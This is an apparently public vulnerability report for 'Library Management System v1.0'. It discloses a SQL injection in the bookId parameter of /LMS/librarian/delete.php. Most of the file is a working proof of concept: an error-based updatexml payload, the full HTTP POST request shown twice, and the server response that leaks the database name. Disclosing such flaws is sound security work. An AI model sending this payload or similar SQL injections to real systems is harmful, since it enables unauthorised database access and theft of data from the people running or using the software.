

main

...

bug\_report / vendors / kingbhob02 / library-management-system / SQLi-20.md



debug601 Create SQLi-20.md

History

1 contributor

30 lines (21 sloc) | 1.09 KB

...

# Library Management System v1.0 by kingbhob02 has SQL injection

vendors: <https://www.sourcecodester.com/php/15434/library-management-system-qr-code-attendance-and-auto-generate-library-card.html>

The program is built using the xampp-php8.1 version

Vulnerability File: /LMS/librarian/delete.php

Vulnerability location: /LMS/librarian/delete.php, bookId

[+] Payload: delete=&bookId=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--%20 // Leak place ---> bookId

```
POST /LMS/librarian/delete.php HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: _ga=GA1.1.1382961971.1655097107
Connection: close
```

Content-Type: application/x-www-form-urlencoded

Content-Length: 79

delete=&bookId=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--%20



```
POST /LMS/librarian/delete.php HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0;
 WOW64; rv:46.0) Gecko/20100101
Firefox/46.0
Accept:
 text/html,application/xhtml+xml,application
 /xml;q=0.9,*/*;q=0.8
Accept-Language:
 zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: _ga=GA1.1.1382961971.1655097107
Connection: close
Content-Type:
 application/x-www-form-urlencoded
Content-Length: 79
```

```
delete=&bookId=1' and
updatexml(1,concat(0x7e,(select
database()),0x7e),0)--%20
```

```
HTTP/1.1 200 OK
Date: Sat, 23 Jul 2022 01:50:22 GMT
Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Content-Length: 282
Connection: close
Content-Type: text/html; charset=UTF-8
```

```
<br />
<b>Warning</b>: Undefined array key "deletor" in <b>C:\xampp\htdocs\LMS\librarian\delete.php</b> c
line <b>12</b><br />
<b>Warning</b>: Undefined array key "item" in <b>C:\xampp\htdocs\LMS\librarian\delete.php</b> on
line <b>13</b><br />
XPath syntax error: '~lms~'
```